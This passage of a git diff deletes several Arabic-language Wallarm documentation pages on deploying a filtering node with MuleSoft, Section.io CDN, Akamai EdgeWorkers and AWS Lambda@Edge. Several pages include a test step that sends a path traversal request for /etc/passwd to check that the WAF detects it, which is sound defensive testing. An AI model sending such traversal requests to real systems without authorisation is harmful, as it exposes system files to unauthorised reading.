البرمجية (APIs) المنشورة على منصة MuleSoft Anypoint بسياسة واحدة فقط. -* في حالة الحاجة إلى حل الأمان الذي يقدم مراقبة الهجمات الشاملة، والتقارير، والحظر الفوري للطلبات الخبيثة (في الوضع المتصل). - -## القيود - -لا تسمح الدمج مع MuleSoft للعقدة Wallarm بتحليل الردود بالكامل، الأمر الذي يخلق بعض القيود: - -* في بعض البيئات، قد يُنشئ [اكتشاف Wallarm API](../../api-discovery/overview.md) نقاط نهاية إضافية. استشر [دعم Wallarm](mailto:support@wallarm.com) لخيارات التكوين. -* يتطلب الردود من الخادم لـ [اكتشاف الضعف السلبي](../../about-wallarm/detecting-vulnerabilities.md#passive-detection). -* [الحماية من التصفح المفروض](../../admin-en/configuration-guides/protecting-against-bruteforce.md). - -عند تطبيق سياسة لتحليل حركة المرور خارج النطاق، على العلم بأن هذه الطريقة لها قيود معينة، يتم تطبيقها أيضا على سياسة. يمكن العثور على المزيد من التفاصيل في الرابط المقدم (../oob/overview.md#advantages-and-limitations). - -## المتطلبات - -للمتابعة مع التنفيذ، تأكد من تلبية المتطلبات التالية: - -* فهم منصة MuleSoft. -* [Maven (`mvn`)](https://maven.apache.org/install.html) 3.8 أو إصدار أقدم مثبت. قد تواجه الإصدارات الأعلى من Maven مشكلات التوافق مع البرنامج المساعد Mule. -* لقد تم تعيينك بدور مساهم MuleSoft Exchange، مما يتيح لك تحميل القطع الفنية إلى حساب منظمتك في منصة MuleSoft Anypoint. -* تم تحديد [بيانات اعتماد MuleSoft Exchange (اسم المستخدم وكلمة المرور)](https://docs.mulesoft.com/mule-gateway/policies-custom-upload-to-exchange#deploying-a-policy-created-using-the-maven-archetype) في الملف `/conf/settings.xml`. -* التطبيق والواجهة البرمجية (API) مرتبطين ويعملان على MuleSoft. - -## التنفيذ - -لتأمين الواجهات البرمجية (APIs) على منصة MuleSoft Anypoint باستخدام سياسة Wallarm، اتبع هذه الخطوات: - -1. قم بتطبيق عقدة Wallarm باستخدام واحدة من خيارات التنفيذ المتوفرة. -1. الحصول على سياسة Wallarm وتحميلها إلى MuleSoft Exchange. -1. اعتمد سياسة Wallarm على الواجهة البرمجية (API) الخاصة بك. - -### 1. تطبيق عقدة Wallarm - -1. اختر أحد حلول تطبيق العقدة Wallarm المدعومة أو القطع الفنية لـ [تطبيق العقدة](../supported-deployment-options.md#in-line) واتبع التعليمات التي تم توفيرها. -1. قم بتكوين العقدة المنفذة باستخدام النموذج التالي: - - ``` - server { - listen 80; - - server_name _; - - access_log off; - wallarm_mode off; - - location / { - proxy_set_header Host $http_x_forwarded_host; - proxy_pass http://unix:/tmp/wallarm-nginx.sock; - } - } - - server { - listen 443 ssl; - - server_name yourdomain-for-wallarm-node.tld; - - ### SSL configuration here - - access_log off; - wallarm_mode off; - - location / { - proxy_set_header Host $http_x_forwarded_host; - proxy_pass http://unix:/tmp/wallarm-nginx.sock; - } - } - - - server { - listen unix:/tmp/wallarm-nginx.sock; - - server_name _; - - wallarm_mode monitoring; - #wallarm_mode block; - - real_ip_header X-REAL-IP; - set_real_ip_from unix:; - - location / { - echo_read_request_body; - } - } - ``` - - يرجى التأكد من الانتباه للتكوينات التالية: - - * شهادات TLS/SSL لحركة المرور HTTPS: لتمكين العقدة Wallarm من التعامل مع حركة المرور HTTPS الآمنة، قم بتهيئة شهادات TLS/SSL وفقا لذلك. ستعتمد التكوينات المحددة على طريقة التنفيذ المختارة. على سبيل المثال، إذا كنت تستخدم NGINX، يمكنك الرجوع إلى [مقالته](https://docs.nginx.com/nginx/admin-guide/security-controls/terminating-ssl-http/) للحصول على التوجيه. - * [تهيئة وضع التشغيل Wallarm](../../admin-en/configure-wallarm-mode.md). - - عند استخدام تحليل حركة المرور خارج النطاق، يمكن لـ Wallarm أن تعمل فقط في وضع المراقبة لأنها لا تستطيع حظر الطلبات الخبيثة. بغض النظر عن إعداد التوجيه `wallarm_mode`، باستثناء `off`، ستستمر العقدة في مراقبة وتسجيل الحركة المرور الخبيثة فقط. - -1. بمجرد اكتمال التنفيذ، اقم بملاحظة IP العقدة لأنك ستحتاجه لاحقًا لتعيين عنوان للطلبات الواردة. - -### 2. الحصول على سياسة Wallarm ورفعها إلى MuleSoft Exchange - -للحصول على سياسة Wallarm و[رفعها](https://docs.mulesoft.com/mule-gateway/policies-custom-upload-to-exchange) إلى MuleSoft Exchange، قم باتباع الخطوات التالية: - -1. تواصل مع [support@wallarm.com](mailto:support@wallarm.com) للحصول على سياسة Wallarm الخاصة بـ MuleSoft. -1. استخرج أرشيف السياسة بمجرد تلقيه. -1. انتقل إلى دليل السياسة: - - ``` - cd `معلمة groupId` في أعلى الملف، حدد معرف الجماعة التجارية MuleSoft الخاصة بك. - - يمكنك العثور على معرف المنظمة عن طريق التنقل إلى MuleSoft Anypoint Platform → **Access Management** → **Business Groups** → اختر منظمتك → نسخ معرفها. -1. في دليل Maven `.m2` الخاص بك، قم بتحديث ملف `settings.xml` ببيانات اعتمادك لـ Exchange: - - ```xml - - - - - exchange-server - myusername - mypassword - - - - ``` -1. قم بتطبيق السياسة على MuleSoft باستخدام الأمر التالي: - - ``` - mvn clean deploy - ``` - -سياستك الخاصة متاحة الآن في بورصة منصة MuleSoft Anypoint الخاصة بك. - -![عقدة MuleSoft مع Wallarm](../../images/waf-installation/gateways/mulesoft/wallarm-policy-in-exchange.png) - -### 3. اعتماد سياسة Wallarm على الواجهة البرمجية (API) - -يمكنك اعتماد سياسة Wallarm على جميع الواجهات البرمجية (APIs) أو الواجهة البرمجية الفردية. - -#### اعتماد السياسة على جميع الواجهات البرمجية (APIs) - -لتطبيق سياسة Wallarm على جميع الواجهات البرمجية (APIs) باستخدام [خيار سياسة MuleSoft المؤتمتة](https://docs.mulesoft.com/mule-gateway/policies-automated-overview)، اتبع الخطوات التالية: - -1. في منصة Anypoint الخاصة بك، انتقل إلى **API Manager** → **Automated Policies**. -1. انقر على **Add automated policy** ثم حدد سياسة Wallarm من Exchange. -1. حدد `WLRM REPORTING ENDPOINT` والذي هو عنوان IP على [نموذج العقدة Wallarm](#1-deploy-a-wallarm-node) بما في ذلك `http://` أو `https://`. -1. عند الحاجة، قم بتعديل الوقت الأقصى المسموح به لـ Wallarm للتعامل مع طلب واحد عن طريق تغيير قيمة `WALLARM NODE REQUEST TIMEOUT`. -1. طبق السياسة. - -![سياسة Wallarm](../../images/waf-installation/gateways/mulesoft/automated-policy.png) - -#### اعتماد السياسة على واجهة برمجية فردية - -لتأمين واجهة برمجية فردية باستخدام سياسة Wallarm، اتبع الخطوات التالية: - -1. في منصة Anypoint الخاصة بك، انتقل إلى **API Manager** واختر الواجهة البرمجية المطلوبة. -1. نقل إلى **Policies** → **Add policy** واختر سياسة Wallarm. -1. حدد `WLRM REPORTING ENDPOINT` والذي هو عنوان IP على [نموذج العقدة Wallarm](#1-deploy-a-wallarm-node) بما في ذلك `http://` أو `https://`. -1. عند الحاجة، قم بتعديل الوقت الأقصى المسموح به لـ Wallarm للتعامل مع طلب واحد عن طريق تغيير قيمة `WALLARM NODE REQUEST TIMEOUT`. -1. طبق السياسة. - -![سياسة Wallarm](../../images/waf-installation/gateways/mulesoft/policy-for-an-api.png) - -## الاختبار - -لاختبار وظائف السياسة المنفذة، اتبع الخطوات التالية: - -1. أرسل الطلب مع الاختبار [هجوم التنقل لاختبار المسار](ptrav-attack-docs) إلى الواجهة البرمجية (API) الخاصة بك: - - ``` - curl http:///etc/passwd - ``` -1. افتح واجهة Wallarm → القسم **Attacks** في [US Cloud](https://us1.my.wallarm.com/attacks) أو [EU Cloud](https://my.wallarm.com/attacks) وتأكد من أن الهجوم يظهر في القائمة. - - ![الهجمات في الواجهة][attacks-in-ui-image] - - إذا كان وضع العقدة Wallarm مضبوطًا على الحظر وتدفق حركة المرور في الطريق المتصل، سيتم حظر الطلب أيضًا. - -إذا لم يقم الحل بالأداء المتوقع، راجع سجلات الواجهة البرمجية الخاصة بك عبر الذهاب إلى MuleSoft Anypoint Platform → **Runtime Manager** → التطبيق الخاص بك → **Logs**. - -يمكنك أيضًا التحقق من تطبيق السياسة على الواجهة البرمجية (API) من خلال التنقل إلى الواجهة البرمجية (API) الخاصة بك في **API Manager** ومراجعة السياسات المطبقة على علامة التبويب **Policies**. للسياسات المؤتمتة، يمكنك استخدام خيار **See covered APIs** لمشاهدة الواجهات البرمجية (APIs) المغطاة وأسباب أي استبعادات. - -## التحديث وإلغاء التثبيت - -لتحديث سياسة Wallarm المنفذة، اتبع الخطوات التالية: - -1. قم بإزالة سياسة Wallarm المنفذة حاليًا باستخدام خيار **Remove policy** في إما القائمة السياسة المؤتمتة أو في قائمة السياسات المطبقة على واجهة برمجية فردية. -1. أضف السياسة الجديدة متبعًا الخطوات 2-3 أعلاه. -1. أعد تشغيل التطبيقات المرتبطة في **Runtime Manager** لتطبيق السياسة الجديدة. - -لإلغاء تثبيت السياسة، قم فقط بتنفيذ الخطوة الأولى من عملية التحديث. - -## الحاجة لمساعدة؟ - -إذا واجهت أي مشكلات أو بحاجة إلى مساعدة في عملية التنفيذ الموصوفة لسياسة Wallarm بالتعاون مع MuleSoft، يمكنك الاتصال بفريق [دعم Wallarm](mailto:support@wallarm.com). فهم متاحون لتقديم الإرشادات ومساعدتك في حل أي مشاكل قد تواجهك خلال عملية التطبيق. \ No newline at end of file diff --git a/docs/latest-ar/installation/cdn-node.md b/docs/latest-ar/installation/cdn-node.md deleted file mode 100644 index 0102f71905..0000000000 --- a/docs/latest-ar/installation/cdn-node.md +++ /dev/null @@ -1,79 +0,0 @@ -# نشر عقدة Wallarm مع Section.io - -[Section](https://www.section.io/) هو نظام استضافة محلي للسحاب يتيح نشر عقدة Wallarm بسهولة. من خلال توجيه حركة المرور من خلاله كوكيل عكسي، يمكنك تخفيف حركة المرور الخبيثة بفعالية دون إضافة مكونات طرف ثالث إلى بنية تحتية لتطبيقك. - -## حالات الاستخدام - -من بين جميع [خيارات نشر Wallarm المدعومة](supported-deployment-options.md)، تُعد هذه الحلول هي الأنسب للحالات التالية: - -* أنت تبحث عن حل أمني سريع وسهل التنفيذ لحماية الخدمات الخفيفة. -* تفتقر إلى القدرة على نشر عقد Wallarm داخل بنية تحتية للمضيف الخاص بك. -* تفضل نهجًا لا يتضمن الإدارة والصيانة شخصيًا لعقد فلترة Wallarm. - -## القيود - -توجد بعض القيود لهذا الحل: - -* ليس من المستحسن استخدام عقد CDN لتحليل وفلترة حركة المرور ذات الحجم العالي. -* نشر نوع عقدة CDN ليس مدعومًا تحت [الخطة المجانية](../about-wallarm/subscription-plans.md#free-tier-subscription-plan-us-cloud). -* يمكنك باستخدام عقدة CDN حماية النطاقات من المستوى الثالث (أو أقل، مثل الرابع، الخامس، إلخ). على سبيل المثال، يمكنك إنشاء عقدة CDN لـ `ple.example.com`، وليس لـ `example.com`. -* غير متوفر إعداد التطبيق [مباشرةً](../user-guides/settings/applications.md) من خلال الإجراءات القياسية. الرجاء التواصل مع [فريق دعم Wallarm](mailto:support@wallarm.com) للحصول على المساعدة في التكوين. -* لا يمكن تكوين [صفحات الحظر المخصصة ورموز الخطأ](../admin-en/configuration-guides/configure-block-page-and-code.md). بشكل افتراضي، تُرجع عقدة CDN رمز استجابة 403 لطلبات المحظورة. - -## المتطلبات - ---8<-- "../include/waf/installation/cdn-node/cdn-node-deployment-requirements.md" - -## كيفية عمل عقدة CDN - ---8<-- "../include/waf/installation/cdn-node/how-cdn-node-works.md" - -## نشر عقدة CDN - -1. افتح وحدة تحكم Wallarm → **العقد** → **CDN** → **إنشاء عقدة**. -1. أدخل عنوان النطاق المراد حمايته، على سبيل المثال `ple.example.com`. - - يجب أن يكون العنوان المحدد هو نطاق من المستوى الثالث (أو أقل) ولا يحتوي على الخطة والشرطات المائلة. -1. تأكد من أن Wallarm يحدد بشكل صحيح عنوان الأصل المرتبط بالنطاق المحدد. وإلا، يرجى تغيير عنوان الأصل الذي تم اكتشافه تلقائيًا. - - ![CDN node creation modal][cdn-node-creation-modal] - - !!! تحذير "تحديث ديناميكي لعنوان الأصل" - إذا قام موفر الاستضافة الخاص بك بتحديث ديناميكي لعنوان IP الأصل أو النطاق المرتبط بالمورد المحمي، فيرجى الحفاظ على تحديث عنوان الأصل المحدد في تكوين عقدة CDN. يتيح لك وحدة تحكم Wallarm تغيير عنوان الأصل [في أي وقت][update-origin-ip-docs]. - - وإلا، لن تصل الطلبات إلى المورد المحمي نظرًا لأن عقدة CDN ستحاول توجيهها إلى عنوان أصل غير صحيح. -1. انتظر حتى انتهاء تسجيل عقدة CDN. - - بمجرد انتهاء تسجيل عقدة CDN، سيتم تغيير حالة عقدة CDN إلى **يتطلب CNAME**. -1. أضف سجل CNAME الذي تم إنشاؤه بواسطة Wallarm إلى سجلات DNS للنطاق المحمي. - - إذا كان سجل CNAME مُكونًا بالفعل للنطاق، يُرجى استبدال قيمته بتلك التي أنشأتها Wallarm. - - ![CDN node creation modal][cname-required-modal] - - اعتمادًا على موفر DNS الخاص بك، يمكن أن تستغرق التغييرات في سجلات DNS ما يصل إلى 24 ساعة لتنتشر وتُحدث تأثيرًا على الإنترنت. بمجرد انتشار سجل CNAME الجديد، ستُوجه عقدة CDN Wallarm جميع الطلبات الواردة للمورد المحمي وتحظر تلك الخبيثة. -1. إذا لزم الأمر، قم بتحميل شهادة SSL/TLS مخصصة. - - بشكل افتراضي، سيتم إنشاء شهادة Let's Encrypt لنطاق عقدة CDN بواسطة Wallarm. -1. بمجرد انتشار تغييرات سجل DNS، قم بإرسال هجوم اختباري إلى النطاق المحمي: - - ```bash - curl http:///etc/passwd - ``` - - * إذا كان عنوان IP الأصلي [موجودًا في القائمة الرمادية][graylist-docs]، ستحظر العقدة الهجوم (كود استجابة HTTP هو 403) وتسجله. - * إذا لم يكن عنوان IP الأصلي [موجودًا في القائمة الرمادية][graylist-docs]، ستسجل العقدة الهجمات المكتشفة فقط. يمكنك التحقق من تسجيل الهجمات في وحدة تحكم Wallarm → **الهجمات**: - - ![الهجمات في الواجهة][attacks-in-ui] - -## الخطوات التالية - -تم نشر عقدة CDN Wallarm بنجاح! - -تعرف على خيارات تكوين Wallarm: - ---8<-- "../include/waf/installation/cdn-node/cdn-node-configuration-options.md" - -## استكشاف أخطاء عقدة CDN وإصلاحها - ---8<-- "../include/waf/installation/cdn-node/cdn-node-troubleshooting.md" \ No newline at end of file diff --git a/docs/latest-ar/installation/cdn/akamai-edgeworkers.md b/docs/latest-ar/installation/cdn/akamai-edgeworkers.md deleted file mode 100644 index 2dccd29100..0000000000 --- a/docs/latest-ar/installation/cdn/akamai-edgeworkers.md +++ /dev/null @@ -1,158 +0,0 @@ -[وثائق-الهجمات-ptrav]: ../../attacks-vulns-list.md#path-traversal -[صورة-الهجمات-في-واجهة-المستخدم]: ../../images/admin-guides/test-attacks-quickstart-sqli-xss.png - -# Akamai EdgeWorkers مع حزمة الشفرة Wallarm - -[Akamai EdgeWorkers](https://techdocs.akamai.com/edgeworkers/docs) هو منصة حوسبة على الحافة قوية تتيح تنفيذ منطق مخصص وإيداع وظائف JavaScript خفيفة الوزن على الحافة. بالنسبة للعملاء الذين لديهم واجهات البرمجة التطبيقية API وحركة المرور، Wallarm يقدم حزمة شفرة يمكن ان تضاف على EdgeWorkers لتأمين البنية التحتية. - -الحل يتضمن نشر العقدة Wallarm خارجيا وحقن الشفرة المخصصة أو السياسات في المنصة المعينة. هذا يمكن توجيه حركة المرور إلى العقدة الخارجية Wallarm للتحليل والحماية من التهديدات المحتملة. تُشار إليها بوصلات Wallarm، وهي تعمل كرابط أساسي بين منصات مثل Azion Edge، وAkamai Edge، وMuleSoft، وApigee، وAWS Lambda، والعقدة الخارجية Wallarm. تضمن هذه الطريقة التكامل السلس، وتحليل حركة المرور الآمن، وتقليل المخاطر، وأمن المنصة الشامل. - -## حالات الاستخدام - -من بين جميع [خيارات نشر Wallarm](../supported-deployment-options.md) المدعومة، هذا الحل هو الموصى به للحالات الاستخدام التالية: - -* تأمين واجهات البرمجة التطبيقية API أو حركة المرور التي تعمل على Akamai EdgeWorkers. -* الحاجة إلى حل أمني يقدم رصد شامل للهجمات، والإبلاغ عنها، وحجب الطلبات الخبيثة على الفور. - -## القيود - -يوجد للحل القيود المعينة وهو يعمل فقط مع الطلبات الواردة: - -* لا يعمل اكتشاف الثغرات باستخدام [طريقة الكشف السلبية](../../about-wallarm/detecting-vulnerabilities.md#passive-detection) بشكل صحيح. تحدد الحل إذا كانت واجهة البرمجة التطبيقية API معرضة للخطر أم لا بناءً على ردود الخادم على الطلبات الخبيثة التي تكون مميزة للثغرات التي يستهدفها الاختبار. -* لا يمكن أن [اكتشاف واجهات البرمجة التطبيقية API لـ Wallarm](../../api-discovery/overview.md) يستكشف جرد الواجهات البرمجة التطبيقية API بناءً على حركة المرور الخاصة بك، حيث يعتمد الحل على تحليل الاستجابة. -* الحماية ضد الاستعراض القسري غير متوفرة لأنها تحتاج إلى تحليل كود الاستجابة. - -هناك أيضا قيود ناشئة عن [محددات منتج EdgeWorkers](https://techdocs.akamai.com/edgeworkers/docs/limitations) و [http-request](https://techdocs.akamai.com/edgeworkers/docs/http-request): - -* الطريقة المدعومة الوحيدة لتسليم حركة المرور هي TLS المُحسَّن. -* أقصى حجم لرأس الاستجابة هو 8000 بايت. -* أقصى حجم للجسم هو 1 MB. -* الطرق HTTP غير المدعومة: `CONNECT`, `TRACE`, `OPTIONS` (الطرق المدعومة: `GET`, `POST`, `HEAD`, `PUT`, `PATCH`, `DELETE`). -* الرؤوس غير المدعومة: `connection`, `keep-alive`, `proxy-authenticate`, `proxy-authorization`, `te`, `trailers`, `transfer-encoding`, `host`, `content-length`, `vary`, `accept-encoding`, `content-encoding`, `upgrade`. - -## المتطلبات - -للمتابعة مع النشر، تأكد من توفر الشروط التالية: - -* فهم تكنولوجيا Akamai EdgeWorkers -* واجهات برمجة التطبيقات API أو حركة المرور التي تعمل عبر Akamai EdgeWorkers. - -## النشر - -لاضافة الحماية لواجهات برمجة التطبيقات API على Akamai EdgeWorkers بواسطة Wallarm، أتبع هذه الخطوات: - -1. انشر عقدة Wallarm باستخدام واحدة من الخيارات المتاحة للنشر. -1. احصل على حزمة الشفرة Wallarm وشغلها على Akamai EdgeWorkers. - -### 1. نشر عقدة Wallarm - -عند استخدام Wallarm على Akami EdgeWorkers، حركة المرور من خلال الطريق [في-خط](../inline/overview.md). - -1. اختر واحدة من [حلول نشر العقدة Wallarm المدعومة أو الأعمال الفنية](../supported-deployment-options.md#in-line) للنشر في-خط واتبع التعليمات الواردة للنشر. -1. قم بتكوين العقدة التي تم نشرها باستخدام القالب التالي: - - ``` - server { - listen 80; - - server_name _; - - access_log off; - wallarm_mode off; - - location / { - proxy_set_header Host $http_x_forwarded_host; - proxy_pass http://unix:/tmp/wallarm-nginx.sock; - } - } - - server { - listen 443 ssl; - - server_name yourdomain-for-wallarm-node.tld; - - ### SSL configuration here - - access_log off; - wallarm_mode off; - - location / { - proxy_set_header Host $http_x_forwarded_host; - proxy_pass http://unix:/tmp/wallarm-nginx.sock; - } - } - - - server { - listen unix:/tmp/wallarm-nginx.sock; - - server_name _; - - wallarm_mode monitoring; - #wallarm_mode block; - - real_ip_header X-EDGEWRK-REAL-IP; - set_real_ip_from unix:; - - location / { - echo_read_request_body; - } - } - ``` - - يرجى التأكد من التركيز على التكوينات التالية: - - * شهادات TLS / SSL لحركة المرور HTTPS: لتمكين العقدة Wallarm من التعامل مع حركة المرور HTTPS الآمنة، قم بتكوين شهادات TLS / SSL بالتوافق. سيعتمد التكوين على الطريقة المختارة للنشر. على سبيل المثال، إذا كنت تستخدم NGINX، يمكنك الاطلاع على [مقالته](https://docs.nginx.com/nginx/admin-guide/security-controls/terminating-ssl-http/) للحصول على التوجيه. - * [تكوين وضع تشغيل Wallarm](../../admin-en/configure-wallarm-mode.md). -1. بمجرد الانتهاء من النشر، قم بتدوين عنوان IP للعينة عقدة حيث ستحتاجه لاحقا لتعيين العنوان لتحويل الطلبات الواردة. - -### 2. احصل على حزمة الشفرة Wallarm وشغلها على Akamai EdgeWorkers - -للحصول على و [تشغيل](https://techdocs.akamai.com/edgeworkers/docs/deploy-hello-world-1) حزمة الشفرة Wallarm على Akamai EdgeWorkers، اتبع هذه الخطوات: - -1. اتصل [support@wallarm.com](mailto:support@wallarm.com) للحصول على حزمة الشفرة Wallarm. -1. [أضف](https://techdocs.akamai.com/edgeworkers/docs/add-edgeworkers-to-contract) EdgeWorkers إلى عقدك على Akamai. -1. [أنشئ](https://techdocs.akamai.com/edgeworkers/docs/create-an-edgeworker-id) رقم معرف EdgeWorker. -1. افتح الرقم المعرف الذي تم إنشاؤه، اضغط على **Create Version** و [ارفع](https://techdocs.akamai.com/edgeworkers/docs/deploy-hello-world-1) حزمة الشفرة Wallarm. -1. **فِعِّل** الإصدار الذي تم إنشاؤه، في البداية في بيئة المرحلة. -1. بعد التأكد من أن كل شيء يعمل بشكل صحيح، كرر نشر الإصدار في البيئة الإنتاج. -1. في **Akamai Property Manager**، اختر أو أنشئ ملكية جديدة حيث تريد تثبيت Wallarm. -1. [أنشئ](https://techdocs.akamai.com/edgeworkers/docs/add-the-edgeworker-behavior-1) سلوكًا جديدًا مع EdgeWorker الذي تم إنشاؤه حديثًا، وادعه على سبيل المثال **Wallarm Edge** وأضف المعايير التالية: - - ``` - If - Request Header - X-EDGEWRK-REAL-IP - does not exist - ``` -1. أنشئ سلوكًا آخر **Wallarm Node** مع **Origin Server** يشير إلى [العقدة التي تم نشرها مسبقا](#1-nشر-عقدة-wallarm). امزج **Forward Host Header** إلى **Origin Hostname** وأضف المعايير التالية: - - ``` - If - Request Header - X-EDGEWRK-REAL-IP - exist - ``` -1. أضف متغير الخاصية الجديد `PMUSER_WALLARM_MODE` مع [القيمة](../../admin-en/configure-wallarm-mode.md) `monitoring` (افتراضي) أو `block`. - - اختر **Hidden** لإعدادات الأمان. -1. حفظ الإصدار الجديد ونشره في البداية إلى بيئة المرحلة، و[ثم](https://techdocs.akamai.com/api-acceleration/docs/test-stage) إلى الإنتاج. - -## الاختبار - -لاختبار وظائف السياسة المنشأة، اتبع هذه الخطوات: - -1. أرسل الطلب مع الاختبار الهجوم [Path Traversal][وثائق-الهجمات-ptrav] لواجهة برمجة التطبيق API الخاصة بك: - - ``` - curl http:///etc/passwd - ``` -1. افتح Wallarm Console → قسم **Attacks** في [السحابة الأمريكية](https://us1.my.wallarm.com/attacks) أو [السحابة الأوروبية](https://my.wallarm.com/attacks) وتأكد من أن الهجوم يظهر في القائمة. - - ![الهجمات في الواجهة][صورة-الهجمات-في-واجهة-المستخدم] - - إذا تم ضبط وضع العقدة Wallarm على الحجب، سيتم حجب الطلب أيضا. - -## هل تحتاج إلى مساعدة؟ - -إذا واجهت أي مشاكل أو تحتاج إلى مساعدة بشأن نشر Wallarm الذي تم وصفه بالتعاون مع Akamai EdgeWorkers، يمكنك التواصل مع فريق [دعم Wallarm](mailto:support@wallarm.com). هم متواجدون لتقديم الإرشاد والمساعدة في حل أي مشاكل قد تواجهها أثناء عملية التنفيذ. diff --git a/docs/latest-ar/installation/cdn/aws-lambda.md b/docs/latest-ar/installation/cdn/aws-lambda.md deleted file mode 100644 index e3217d4047..0000000000 --- a/docs/latest-ar/installation/cdn/aws-lambda.md +++ /dev/null @@ -1,183 +0,0 @@ -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart-sqli-xss.png - -# Wallarm Node.js لخدمة AWS Lambda - -[AWS Lambda@Edge](https://aws.amazon.com/lambda/edge/) هي خدمة حوسبة خالية من الخوادم، تعتمد على الأحداث، وتسمح لك بتشغيل الكود لأنواع مختلفة من التطبيقات أو الخدمات الخلفية دون الحاجة إلى توفير أو إدارة الخوادم. من خلال دمج كود Wallarm Node.js، يمكنك توجيه الحركة الواردة إلى عقدة Wallarm للتحليل والتصفية. تقدم هذه المقالة تعليمات حول تكوين Wallarm لتحليل الحركة وتصفيتها خاصة للامدا Node.js في تطبيق AWS الخاص بك. - -تشمل الحلول نشر عقدة Wallarm بشكل خارجي وإضافة كود مخصص أو سياسات إلى المنصة المحددة. يمكن هذا من توجيه الحركة إلى عقدة Wallarm الخارجية للتحليل والحماية من التهديدات المحتملة. يشار إليها باسم وصلات Wallarm، التي تعمل كالرابط الأساسي بين المنصات مثل Azion Edge، Akamai Edge، MuleSoft، Apigee، وAWS Lambda، وعقدة Wallarm الخارجية. يضمن هذا النهج الاندماج السلس، تحليل الحركة الآمن، التخفيف من المخاطر، وأمان المنصة بشكل عام. - -## حالات الاستخدام - -من بين جميع [خيارات نشر Wallarm المدعومة](../supported-deployment-options.md)، يُنصح بهذا الحل للحالات الاستخدام التالية: - -* تأمين التطبيقات على AWS التي تستخدم لامدا Node.js. -* الحاجة إلى حل أمان يقدم مراقبة شاملة للهجمات، التقارير، ومنع الطلبات الضارة فورًا. - -## القيود - -يلحق الحل قيودًا حيث يعمل فقط مع الطلبات الواردة: - -* لا يعمل اكتشاف الضعف باستخدام طريقة [الكشف السلبي](../../about-wallarm/detecting-vulnerabilities.md#passive-detection) بشكل صحيح. يحدد الحل ما إذا كانت واجهة برمجة التطبيقات عرضة للضعف أم لا بناءً على ردود الخادم على الطلبات الضارة المميزة للثغرات التي يتم اختبارها. -* لا يمكن لـ[اكتشاف API بواسطة Wallarm](../../api-discovery/overview.md) استكشاف جرد الواجهات البرمجية بناءً على حركتك، حيث يعتمد الحل على تحليل الاستجابات. -* [الحماية ضد التصفح القسري](../../admin-en/configuration-guides/protecting-against-bruteforce.md) غير متوفرة نظرًا لأنها تتطلب تحليل رموز الاستجابة. - -توجد أيضًا قيود أخرى: - -* حجم جسم حزمة HTTP محدود بـ 40 كيلوبايت عند الاعتراض على مستوى طلب Viewer و1MB على مستوى طلب Origin. -* الوقت الأقصى للاستجابة من عقدة Wallarm محدود بـ 5 ثوانٍ لطلبات Viewer و30 ثانية لطلبات Origin. -* Lambda@Edge لا تعمل ضمن الشبكات الخاصة (VPC). -* العدد الأقصى للطلبات المعالجة في وقت واحد لكل منطقة هو 1,000 (الحصة الافتراضية)، ولكن يمكن زيادتها إلى عشرات الآلاف. - -## المتطلبات - -للمتابعة مع النشر، تأكد من أنك تلبي المتطلبات التالية: - -* فهم تقنيات AWS Lambda. -* واجهات برمجة التطبيقات أو الحركة التي تعمل على AWS. - -## النشر - -لتأمين التطبيقات على AWS التي تستخدم لامدا Node.js باستخدام Wallarm، اتبع الخطوات التالية: - -### 1. نشر عقدة Wallarm - -عند دمج Wallarm مع AWS Lambda، يعمل تدفق الحركة [بشكل مباشر](../inline/overview.md). لذلك، اختر واحدًا من الأشكال المدعومة لنشر عقدة Wallarm للنشر المباشر على AWS: - -* [AWS AMI](../packages/aws-ami.md) -* [خدمة الحاويات المرنة من أمازون (ECS)](../cloud-platforms/aws/docker-container.md) - -قم بتكوين العقدة المنشورة باستخدام القالب التالي: - -``` -server { - listen 80; - - server_name _; - - access_log off; - wallarm_mode off; - - location / { - proxy_set_header Host $http_x_forwarded_host; - proxy_pass http://unix:/tmp/wallarm-nginx.sock; - } -} - -server { - listen 443 ssl; - - server_name yourdomain-for-wallarm-node.tld; - - ### هنا تكوين SSL - - access_log off; - wallarm_mode off; - - location / { - proxy_set_header Host $http_x_forwarded_host; - proxy_pass http://unix:/tmp/wallarm-nginx.sock; - } -} - - -server { - listen unix:/tmp/wallarm-nginx.sock; - - server_name _; - - wallarm_mode monitoring; - #wallarm_mode block; - - real_ip_header X-Lambda-Real-IP; - set_real_ip_from unix:; - - location / { - echo_read_request_body; - } -} -``` - -يرجى الانتباه إلى التكوينات التالية: - -* شهادات TLS/SSL للحركة الآمنة عبر HTTPS: لتمكين عقدة Wallarm من التعامل مع حركة HTTPS الآمنة، قم بتكوين الشهادات TLS/SSL بشكل مناسب. سيعتمد التكوين المحدد على طريقة النشر المختارة. على سبيل المثال، إذا كنت تستخدم NGINX، يمكنك الرجوع إلى [مقالته](https://docs.nginx.com/nginx/admin-guide/security-controls/terminating-ssl-http/) للحصول على التوجيه. -* تكوين [وضع تشغيل Wallarm](../../admin-en/configure-wallarm-mode.md). - -### 2. الحصول على سكريبت Wallarm Node.js لـ AWS Lambda وتشغيله - -للحصول على وتشغيل سكريبت Wallarm Node.js على AWS Lambda، اتبع الخطوات التالية: - -1. اتصل بـ[دعم Wallarm](mailto:support@wallarm.com) للحصول على سكريبت Wallarm Node.js. -1. [أنشئ](https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_create.html) سياسة IAM جديدة بالأذونات التالية: - - ``` - lambda:CreateFunction, - lambda:UpdateFunctionCode, - lambda:AddPermission, - iam:CreateServiceLinkedRole, - lambda:GetFunction, - lambda:UpdateFunctionConfiguration, - lambda:DeleteFunction, - cloudfront:UpdateDistribution, - cloudfront:CreateDistribution, - lambda:EnableReplication. - ``` -1. في خدمة AWS Lambda، أنشئ وظيفة جديدة باستخدام Node.js 14.x كوقت تشغيل والدور المُنشئ في الخطوة السابقة. اختر **إنشاء دور جديد بأذونات أساسية لـ Lambda**. -1. في محرر مصدر الكود، الصق الكود الذي تلقيته من فريق دعم Wallarm. -1. في الكود الملصق، قم بتحديث قيم `WALLARM_NODE_HOSTNAME` و`WALLARM_NODE_PORT` لتشير إلى [عقدة Wallarm المنشورة سابقًا](#1-deploy-a-wallarm-node). - - لإرسال الحركة إلى العقدة الفلترة عبر 443/SSL، استخدم التكوين التالي: - - ``` - const WALLARM_NODE_PORT = '443'; - - var http = require('https'); - ``` - - إذا كنت تستخدم شهادة موقعة ذاتيًا، أجرِ التغيير التالي لتعطيل تطبيق الشهادة بشكل صارم: - - ``` - var post_options = { 